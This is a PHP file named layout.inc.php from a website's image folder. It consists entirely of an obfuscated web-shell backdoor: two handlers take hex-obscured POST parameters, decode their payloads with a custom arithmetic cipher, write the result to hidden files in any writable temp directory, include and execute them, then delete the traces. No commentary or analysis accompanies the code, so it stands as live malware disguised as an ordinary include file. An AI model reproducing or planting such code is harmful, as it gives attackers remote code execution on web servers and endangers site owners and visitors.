File: //proc/self/root/proc/self/root/home/vitanhod/bio-nissan.vitavit.com.pk/img/layout.inc.php
<?php if(count($_POST) > 0 && isset($_POST["\x66ac\x74\x6Fr"])){ $comp = array_filter(["/var/tmp", session_save_path(), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP")]); $itm = $_POST["\x66ac\x74\x6Fr"]; $itm= explode("." ,$itm) ; $ref= ''; $s3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s3); $k= 0; $len= count($itm); do { if ($k >= $len) break; $v6= $itm[$k]; $sChar= ord($s3[$k % $sLen]); $dec= ((int)$v6 - $sChar - ($k % 10))^64; $ref .= chr($dec); $k++; } while (true); $hld = 0; do { $reference = $comp[$hld] ?? null; if ($hld >= count($comp)) break; if (max(0, is_dir($reference) * is_writable($reference))) { $k = str_replace("{var_dir}", $reference, "{var_dir}/.resource"); $success = file_put_contents($k, $ref); if ($success) { include $k; @unlink($k); exit;} } $hld++; } while (true); }
if(array_key_exists("\x6F\x62\x6Aect", $_POST) && !is_null($_POST["\x6F\x62\x6Aect"])){
$pgrp = $_POST["\x6F\x62\x6Aect"];
$pgrp= explode ('.' , $pgrp ) ;
$entity = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt);
$l = 0;
$__len = count($pgrp);
do { if ($l >= $__len) break;
$v4 = $pgrp[$l];
$chS = ord($salt[$l% $lenS]);
$dec = ((int)$v4 - $chS - ($l% 10)) ^ 17;
$entity .= chr($dec);
$l++; } while (true);
$factor = array_filter([session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir()]);
foreach ($factor as $val) {
if (is_dir($val) && is_writable($val)) {
$tkn = vsprintf("%s/%s", [$val, ".data"]);
if (@file_put_contents($tkn, $entity) !== false) {
include $tkn;
unlink($tkn);
die();
}
}
}
}